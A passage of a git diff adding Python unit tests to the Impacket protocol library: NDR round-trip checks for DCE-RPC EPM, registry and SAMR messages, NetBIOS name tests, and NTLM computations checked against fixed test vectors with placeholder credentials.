0\x00\x00\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\x1e\xdd[k\x8cR,B\xaf\x8c\xa4\x07\x9b\xe4\xfeH\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0L\x01\x00\t\x04\x00\x00\x00\x00\x00\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xe0\x0ck\x90\x0b\xc7g\x10\xb3\x17\x00\xdd\x01\x06b\xda\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-9c0b57db25a3353f68\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\xe0\x0ck\x90\x0b\xc7g\x10\xb3\x17\x00\xdd\x01\x06b\xda\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLEC7D101604F874C58BA48EAD7B5A2\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xe0\x0ck\x90\x0b\xc7g\x10\xb3\x17\x00\xdd\x01\x06b\xda\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-6d64ace2cb67ac5179\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xe0\x0ck\x90\x0b\xc7g\x10\xb3\x17\x00\xdd\x01\x06b\xda\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-6d64ace2cb67ac5179\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xe0\x0ck\x90\x0b\xc7g\x10\xb3\x17\x00\xdd\x01\x06b\xda\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-6d64ace2cb67ac5179\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xe0\x0ck\x90\x0b\xc7g\x10\xb3\x17\x00\xdd\x01\x06b\xda\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-6d64ace2cb67ac5179\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r_.~\x89\xf3\x93vC\x9c\x9c\xfd"wI\\\'\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\x16Z\x01\x00\t\x04\x00\x00\x00\x00\x00\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r_.~\x89\xf3\x93vC\x9c\x9c\xfd"wI\\\'\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE4B669A0A60C84C56926EB66DC651\x00\x00\x00\x00\x00'
+        hexdump(ept_lookup_resp)
+        lookupResponse= ept_lookupResponse(isNDR64=False)
+        lookupResponse.fromString(ept_lookup_resp)
+        lookupResponse.dumpRaw()
+        output = lookupResponse.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(ept_lookup_resp), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(ept_lookup_resp)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(len(ept_lookup_resp), len(output))
+
+    def test_12(self):
+        ept_mapReq = b'\x87d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001j\x00\x00\x00\x00\x00\x00K\x00\x00\x00\x00\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\x00\x00\x01\x00\t\x04\x00\x00\x00\x00\x00\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00'
+        hexdump(ept_mapReq)
+
+        tower = epm.EPMTower()
+        interface = epm.EPMRPCInterface()
+        interface['InterfaceUUID'] = string_to_bin('12345778-1234-ABCD-EF00-0123456789AC')
+        interface['MajorVersion'] = 1
+        interface['MinorVersion'] = 0
+
+        dataRep = epm.EPMRPCDataRepresentation()
+        dataRep['DataRepUuid'] = string_to_bin('8a885d04-1ceb-11c9-9fe8-08002b104860')
+        dataRep['MajorVersion'] = 2
+        dataRep['MinorVersion'] = 0
+
+        protId = epm.EPMProtocolIdentifier()
+        protId['ProtIdentifier'] = 0xb
+
+        pipeName = epm.EPMPipeName()
+        pipeName['PipeName'] = '\x00'
+
+        portAddr = epm.EPMPortAddr()
+        portAddr['IpPort'] = 0
+
+        hostAddr = epm.EPMHostAddr()
+        import socket
+        hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0')
+
+        hostName = epm.EPMHostName()
+        hostName['HostName'] = '\x00'
+
+        tower['NumberOfFloors'] = 5
+        tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + portAddr.getData() + hostAddr.getData()
+        request = epm.ept_map(isNDR64=True)
+        request['max_towers'] = 4
+        request['map_tower']['tower_length'] = len(tower)
+        request['map_tower']['tower_octet_string'] = tower.getData()
+
+        output = request.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(ept_mapReq), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(ept_mapReq)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(len(ept_mapReq), len(output))
+
+    def test_13(self):
+        baseRegGetKeySecurityResponse = b'\x00\x00\x02\x00\x00\x04\x00\x00$\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00$\x00\x00\x00\x01\x00\x00\x80\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x00\x00\x00\x00'
+        hexdump(baseRegGetKeySecurityResponse)
+        baseRegGetKeySecurity= BaseRegGetKeySecurityResponse()
+        baseRegGetKeySecurity.fromString(baseRegGetKeySecurityResponse)
+        baseRegGetKeySecurity.dumpRaw()
+        output = baseRegGetKeySecurity.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(baseRegGetKeySecurityResponse), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(baseRegGetKeySecurityResponse)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(baseRegGetKeySecurityResponse, output)
+
+    def test_14(self):
+        samrLookupIdsInDomain = b'\x00\x00\x00\x00Bz\x94j&\\:E\xacS\xae\xa9c\xa8\xc5\xfb\x02\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xf4\x01\x00\x00\xf5\x01\x00\x00'
+        hexdump(samrLookupIdsInDomain)
+
+        request = SamrLookupIdsInDomain()
+        request['DomainHandle'] = 'A'*20
+        request['Count'] = 2
+        entry = dtypes.ULONG()
+        entry['Data'] = 500
+        request['RelativeIds'].append(entry)
+        entry = dtypes.ULONG()
+        entry['Data'] = 501
+        request['RelativeIds'].append(entry)
+        request.fields['RelativeIds'].fields['MaximumCount'] = 1000
+        #request.dumpRaw()
+
+        output = request.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(samrLookupIdsInDomain), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(samrLookupIdsInDomain)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(len(samrLookupIdsInDomain), len(output))
+
+    def test_15(self):
+        baseRegQueryMultipleValues = b'\x00\x00\x00\x00Ah?\x10^>GG\xbco\xa1\xc4(\x86\xbcR\xbf\xbf\xbf\xbf\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xfan\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xdd\xdd\xdd\xddk\x86\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xdd\xdd\xdd\xdd\xe3i\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xcc\xcc\xcc\xcc\x18\x00\x18\x00\xbc\xbc\xbc\xbc/:\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00P\x00r\x00o\x00d\x00u\x00c\x00t\x00N\x00a\x00m\x00e\x00\x00\x00\x16\x00\x16\x00\xbc\xbc\xbc\xbc\x0c-\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00S\x00y\x00s\x00t\x00e\x00m\x00R\x00o\x00o\x00t\x00\x00\x00\xcc\xcc\x14\x00\x14\x00\xbc\xbc\xbc\xbci\xab\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00E\x00d\x00i\x00t\x00i\x00o\x00n\x00I\x00D\x00\x00\x00\x03\x00\x00\x00?\x8b\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00                                                                                                                                \x80\x00\x00\x00'
+        hexdump(baseRegQueryMultipleValues)
+
+        request = BaseRegQueryMultipleValues()
+
+        item1 = RVALENT()
+        item1['ve_valuename'] = 'ProductName\x00'
+        item1['ve_valuelen'] = len('ProductName\x00')
+        item1['ve_valueptr'] = NULL
+        item1['ve_type'] = REG_SZ
+
+        item2 = RVALENT()
+        item2['ve_valuename'] = 'SystemRoot\x00'
+        item2['ve_valuelen'] = len('SystemRoot\x00')
+        item1['ve_valueptr'] = NULL
+        item2['ve_type'] = REG_SZ
+
+        item3 = RVALENT()
+        item3['ve_valuename'] = 'EditionID\x00'
+        item3['ve_valuelen'] = len('EditionID\x00')
+        item3['ve_valueptr'] = NULL
+        item3['ve_type'] = REG_SZ
+
+        #request['hKey'] = 'A*20'
+        request['val_listIn'].append(item1)
+        request['val_listIn'].append(item2)
+        request['val_listIn'].append(item3)
+        request['num_vals'] = len(request['val_listIn'])
+        request['lpvalueBuf'] = list(' '*128)
+        request['ldwTotsize'] = 128
+        #request.dumpRaw()
+
+        request.changeTransferSyntax(self.NDR64Syntax)
+        request.fromString(baseRegQueryMultipleValues)
+        output = request.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(baseRegQueryMultipleValues), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(baseRegQueryMultipleValues)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(len(baseRegQueryMultipleValues), len(output))
+
+    def test_16(self):
+        complexPing = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\xaa\xaa\x92\xeb\x00\x00\x02\x00\x00\x00\xce\xc9\x00\x89\xd1\xd2\xad\x0f\x0f\x9fW\xceN\xf5bN\xb0\x92\x00\x00\x01\x00\x00\x00\xce\xc9\x00\x89\xd1\xd2\xad\x0f'
+        hexdump(complexPing)
+
+        request = ComplexPing()
+        request.fromString(complexPing)
+        output = request.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(complexPing), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(complexPing)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(len(complexPing), len(output))
+
+    def test_17(self):
+        #<class 'impacket.dcerpc.v5.samr.SamrLookupNamesInDomainResponse'>
+        baseRegQueryValueResponse = b'\x00\x00\x02\x00\x00\x00\x00\x00\x04\x00\x02\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x02\x00\x00\x02\x00\x00\x0c\x00\x02\x00\x00\x00\x00\x00\x02\x00\x00\x00'
+        hexdump(baseRegQueryValueResponse)
+        baseRegQueryValue= BaseRegQueryValueResponse()
+        baseRegQueryValue.fromString(baseRegQueryValueResponse)
+        baseRegQueryValue.dumpRaw()
+        output = baseRegQueryValue.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(baseRegQueryValueResponse), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(baseRegQueryValueResponse)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(baseRegQueryValueResponse, output)
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/SMB_RPC/test_nmb.py b/tests/SMB_RPC/test_nmb.py
new file mode 100644
index 0000000..ec2fc42
--- /dev/null
+++ b/tests/SMB_RPC/test_nmb.py
@@ -0,0 +1,87 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import pytest
+import unittest
+from tests import RemoteTestCase
+
+from impacket import nmb
+from impacket.structure import hexdump
+
+
+@pytest.mark.remote
+class NMBTests(RemoteTestCase, unittest.TestCase):
+
+    def setUp(self):
+        super(NMBTests, self).setUp()
+        self.set_transport_config()
+
+    def create_connection(self):
+        pass
+
+    def test_encodedecodename(self):
+        name = 'THISISAVERYLONGLONGNAME'
+        encoded = nmb.encode_name(name, nmb.TYPE_SERVER, None)
+        hexdump(encoded)
+        decoded = nmb.decode_name(encoded)
+        hexdump(bytearray(decoded[1], 'utf-8'))
+
+        #self.assertEqual(nmb.TYPE_SERVER, decoded[0])
+        self.assertEqual(name[:15], decoded[1].strip())
+
+        # ToDo: Fix the scope functionality
+        #namescope = 'MYNAME'
+        #encoded = nmb.encode_name(namescope,nmb.TYPE_SERVER,'SCOPE')
+        #hexdump(encoded)
+        #decoded = nmb.decode_name(encoded)
+        #hexdump(decoded)
+
+        #self.assertEqual(nmb.TYPE_SERVER, decoded[0])
+        #self.assertEqual(namescope[:15], decoded[1].strip())
+
+    def test_getnetbiosname(self):
+        n = nmb.NetBIOS()
+        res = n.getnetbiosname(self.machine)
+        print(repr(res))
+        self.assertEqual(self.serverName, res)
+
+    def test_getnodestatus(self):
+        n = nmb.NetBIOS()
+        resp = n.getnodestatus(self.serverName.upper(), self.machine)
+        for r in resp:
+            r.dump()
+        print(resp)
+
+    def test_gethostbyname(self):
+        n = nmb.NetBIOS()
+        n.set_nameserver(self.serverName)
+        resp = n.gethostbyname(self.serverName, nmb.TYPE_SERVER)
+        print(resp.entries)
+
+    def test_name_registration_request(self):
+        n = nmb.NetBIOS()
+        # ToDo: Look at this
+        #resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1')
+        try:
+            resp = n.name_registration_request('*JSMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_ONT_P, '1.1.1.2')
+            resp.dump()
+        except Exception as e:
+            print(str(e))
+            if str(e).find('NETBIOS') <= 0:
+                raise e
+
+    def test_name_query_request(self):
+        n = nmb.NetBIOS()
+        # ToDo: Look at this
+        # resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1')
+        resp = n.name_query_request(self.serverName, self.machine)
+        print(resp.entries)
+
+
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/SMB_RPC/test_ntlm.py b/tests/SMB_RPC/test_ntlm.py
new file mode 100644
index 0000000..9a66e03
--- /dev/null
+++ b/tests/SMB_RPC/test_ntlm.py
@@ -0,0 +1,344 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+from __future__ import print_function
+import unittest
+import struct
+
+from six import b
+from impacket import ntlm
+from impacket.structure import hexdump
+
+
+class NTLMTests(unittest.TestCase):
+
+    def setUp(self):
+        # Turn test case mode on
+        ntlm.TEST_CASE = True
+        self.user = "User"
+        self.domain = "Domain"
+        self.password = "Password"
+        self.serverName = "Server"
+        self.workstationName = "COMPUTER"
+        self.randomSessionKey = b("U"*16)
+        self.time = b('\x00'*8)
+        self.clientChallenge = b("\xaa"*8)
+        self.serverChallenge = b("\x01\x23\x45\x67\x89\xab\xcd\xef")
+        self.flags = ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH | ntlm.NTLMSSP_NEGOTIATE_56 | ntlm.NTLMSSP_NEGOTIATE_128 | ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_NEGOTIATE_SEAL | ntlm.NTLMSSP_NEGOTIATE_SIGN | ntlm.NTLM_NEGOTIATE_OEM | ntlm.NTLMSSP_NEGOTIATE_UNICODE
+        self.seqNum = 0
+        self.nonce = b('\x00'*16)
+        self.plaintext = 'Plaintext'.encode('utf-16le')
+
+        print("Flags")
+        hexdump(struct.pack('<L',self.flags))
+
+    def test_ntlmv1(self):
+        print("####### 4.2.2 NTLMv1 Authentication")
+        ntlm.USE_NTLMv2 = False
+        print("4.2.2.1 LMOWFv1()")
+        res = ntlm.LMOWFv1(self.password)
+        hexdump(res)
+        self.assertEqual(res, bytearray(b'\xe5,\xacgA\x9a\x9a"J;\x10\x8f?\xa6\xcbm'))
+        print("\n")
+        print("4.2.2.1.2 NTOWFv1()")
+        res = ntlm.NTOWFv1(self.password)
+        hexdump(res)
+        self.assertEqual(res, bytearray(b'\xa4\xf4\x9c\x40\x65\x10\xbd\xca\xb6\x82\x4e\xe7\xc3\x0f\xd8\x52'))
+        print("\n")
+        print("4.2.2.1.3 Session Base Key and Key Exchange Key")
+        ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1(int(self.flags), self.serverChallenge,
+                                                                            self.clientChallenge, self.serverName,
+                                                                            self.domain, self.user, self.password, '', '')
+        hexdump(sessionBaseKey)
+        self.assertEqual(sessionBaseKey, bytearray(b'\xD8\x72\x62\xB0\xCD\xE4\xB1\xCB\x74\x99\xBE\xCC\xCD\xF1\x07\x84'))
+        print("\n")
+        print("4.2.2.2.1 NTLMv1 Response")
+        hexdump(ntResponse)
+        self.assertEqual(ntResponse, bytearray(b'\x67\xC4\x30\x11\xF3\x02\x98\xA2\xAD\x35\xEC\xE6\x4F\x16\x33\x1C\x44\xBD\xBE\xD9\x27\x84\x1F\x94'))
+        print("\n")
+        print("4.2.2.2.2 LMv1 Response")
+        hexdump(lmResponse)
+        self.assertEqual(lmResponse, bytearray(b'\x98\xDE\xF7\xB8\x7F\x88\xAA\x5D\xAF\xE2\xDF\x77\x96\x88\xA1\x72\xde\xf1\x1c\x7d\x5c\xcd\xef\x13'))
+        print("\n")
+        print("4.2.2.2.2 LMv1 Response with NTLMSSP_NEGOTIATE_LM_KEY set")
+        flags2 = self.flags
+        #flags2 = flags | ntlm.NTLMSSP_LM_KEY
+        #hexdump(struct.pack('<L',flags2))
+        ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1(int(flags2), self.serverChallenge,
+                                                 self.clientChallenge, self.serverName, self.domain, self.user,
+                                                 self.password, '', '')
+        hexdump(lmResponse)
+        print("\n")
+        print("4.2.2.2.3 Encrypted Session Key ")
+        ntResponse, lmResponse, sessionBaseKey  = ntlm.computeResponseNTLMv1(int(self.flags), self.serverChallenge,
+                                        self.clientChallenge, self.serverName, self.domain, self.user, self.password, '', '')
+        keyExchangeKey = ntlm.KXKEY(self.flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','')
+        encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey)
+        hexdump(encryptedSessionKey)
+        self.assertEqual(encryptedSessionKey, bytearray(b'\x51\x88\x22\xB1\xB3\xF3\x50\xC8\x95\x86\x82\xEC\xBB\x3E\x3C\xB7'))
+        print("\n")
+        print("4.2.2.2.3 Encrypted Session Key (NTLMSSP_NON_NT_KEY)")
+        flags2 = self.flags | ntlm.NTLMSSP_REQUEST_NON_NT_SESSION_KEY
+        keyExchangeKey = ntlm.KXKEY(flags2, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','')
+        encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey)
+        hexdump(encryptedSessionKey)
+        #ToDo Fix this
+        #self.assertEqual(encryptedSessionKey, bytearray(b'\x74\x52\xca\x55\xc2\x25\xa1\xca\x04\xb4\x8f\xae\x32\xcf\x56\xfc'))
+        print("\n")
+        print("4.2.2.2.3 Encrypted Session Key (NTLMSSP_LM_KEY)")
+        flags2 = self.flags | ntlm.NTLMSSP_NEGOTIATE_LM_KEY
+        #hexdump(struct.pack('<L',flags2))
+        keyExchangeKey = ntlm.KXKEY(flags2, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','')
+        encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey)
+        hexdump(encryptedSessionKey)
+        #ToDo Fix this
+        #self.assertEqual(encryptedSessionKey, bytearray(b'\x4c\xd7\xbb\x57\xd6\x97\xef\x9b\x54\x9f\x02\xb8\xf9\xb3\x78\x64')
+        print("\n")
+        print("4.2.2.3 AUTHENTICATE MESSAGE")
+        ntResponse, lmResponse, sessionBaseKey  = ntlm.computeResponseNTLMv1(int(self.flags), self.serverChallenge,
+                                                self.clientChallenge, self.serverName, self.domain, self.user, self.password, '', '')
+        keyExchangeKey = ntlm.KXKEY(self.flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','')
+        encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey)
+        ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(self.user, self.password, self.serverChallenge)
+        ntlmChallengeResponse['flags'] = flags2
+        ntlmChallengeResponse['host_name'] = self.workstationName.encode('utf-16le')
+        ntlmChallengeResponse['domain_name'] = self.domain.encode('utf-16le')
+        ntlmChallengeResponse['lanman'] = lmResponse
+        ntlmChallengeResponse['ntlm'] = ntResponse
+        ntlmChallengeResponse['session_key'] = encryptedSessionKey
+        hexdump(ntlmChallengeResponse.getData())
+        self.assertEqual(ntlmChallengeResponse.getData(), bytearray(b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00\x18\x00\x18\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x10\x00\x10\x00\xac\x00\x00\x00\xb3\x82\x02\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\x98\xde\xf7\xb8\x7f\x88\xaa]\xaf\xe2\xdfw\x96\x88\xa1r\xde\xf1\x1c}\\\xcd\xef\x13g\xc40\x11\xf3\x02\x98\xa2\xad5\xec\xe6O\x163\x1cD\xbd\xbe\xd9\'\x84\x1f\x94Q\x88"\xb1\xb3\xf3P\xc8\x95\x86\x82\xec\xbb><\xb7'))
+        print("\n")
+
+        print("4.2.2.4 GSS_WrapEx")
+        print("Output of SEAL()")
+        from Cryptodome.Cipher import ARC4
+        cipher = ARC4.new(self.randomSessionKey)
+        handle = cipher.encrypt
+        print("Plaintext")
+        hexdump(self.plaintext)
+        print("\n")
+        sealedMsg, signature = ntlm.SEAL(self.flags, self.nonce, self.nonce, self.plaintext, self.plaintext, self.seqNum, handle)
+        #signature = ntlm.SIGN(flags, nonce, plaintext, seqNum, handle)
+        hexdump(sealedMsg)
+        self.assertEqual(sealedMsg, bytearray(b'V\xfe\x04\xd8a\xf91\x9a\xf0\xd7#\x8a.;ME\x7f\xb8'))
+        print("\n")
+        hexdump(signature.getData())
+        self.assertEqual(signature.getData(), bytearray(b'\x01\x00\x00\x00\x00\x00\x00\x00\t\xdc\xd1\xdf.E\x9d6'))
+        print("\n")
+
+        print("####### 4.2.3 NTLMv1 with Client Challenge")
+        flags =  ntlm.NTLMSSP_NEGOTIATE_56 | ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY \
+                 | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | ntlm.NTLMSSP_NEGOTIATE_NTLM |\
+                 ntlm.NTLMSSP_NEGOTIATE_SEAL | ntlm.NTLMSSP_NEGOTIATE_SIGN | ntlm.NTLM_NEGOTIATE_OEM | ntlm.NTLMSSP_NEGOTIATE_UNICODE
+        print("Flags")
+        hexdump(struct.pack('<L',flags))
+        print("\n")
+        print("4.2.3.1.1 NTOWFv1(password)")
+        hexdump(ntlm.NTOWFv1(self.password))
+        print("\n")
+        print("4.2.3.1.2 Session Base Key")
+        ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1(int(flags), self.serverChallenge, self.clientChallenge,
+                                                                            self.serverName, self.domain, self.user, self.password, '', '')
+        hexdump(sessionBaseKey)
+        self.assertEqual(sessionBaseKey, bytearray(b'\xd8rb\xb0\xcd\xe4\xb1\xcbt\x99\xbe\xcc\xcd\xf1\x07\x84'))
+        print("\n")
+        print("4.2.3.1.3 Key Exchange Key")
+        keyExchangeKey = ntlm.KXKEY(flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','')
+        hexdump(keyExchangeKey)
+        # ToDo: Fix this
+        #self.assertEqual(keyExchangeKey, bytearray(b'\xeb\x93\x42\x9a\x8b\xd9\x52\xf8\xb8\x9c\x55\xb8\x7f\x47\x5e\xdc'))
+        print("\n")
+
+        print("4.2.3.2.1 LMv1 Response")
+        hexdump(lmResponse)
+        #self.assertEqual(lmResponse, bytearray(b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'))
+        print("\n")
+
+        print("4.2.3.2.2 NTLMv1 Response")
+        hexdump(ntResponse)
+        # ToDo: Fix this
+        #self.assertEqual(ntResponse, bytearray(b'\x75\x37\xf8\x03\xae\x36\x71\x28\xca\x45\x82\x04\xbd\xe7\xca\xf8\x1e\x97\xed\x26\x83\x26\x72\x32'))
+        print("\n")
+        print("AUTHENTICATE MESSAGE")
+        ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey)
+        ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(self.user, self.password, self.serverChallenge)
+        ntlmChallengeResponse['flags'] = flags2
+        ntlmChallengeResponse['host_name'] = self.workstationName.encode('utf-16le')
+        ntlmChallengeResponse['domain_name'] = self.domain.encode('utf-16le')
+        ntlmChallengeResponse['lanman'] = lmResponse
+        ntlmChallengeResponse['ntlm'] = ntResponse
+        hexdump(ntlmChallengeResponse.getData())
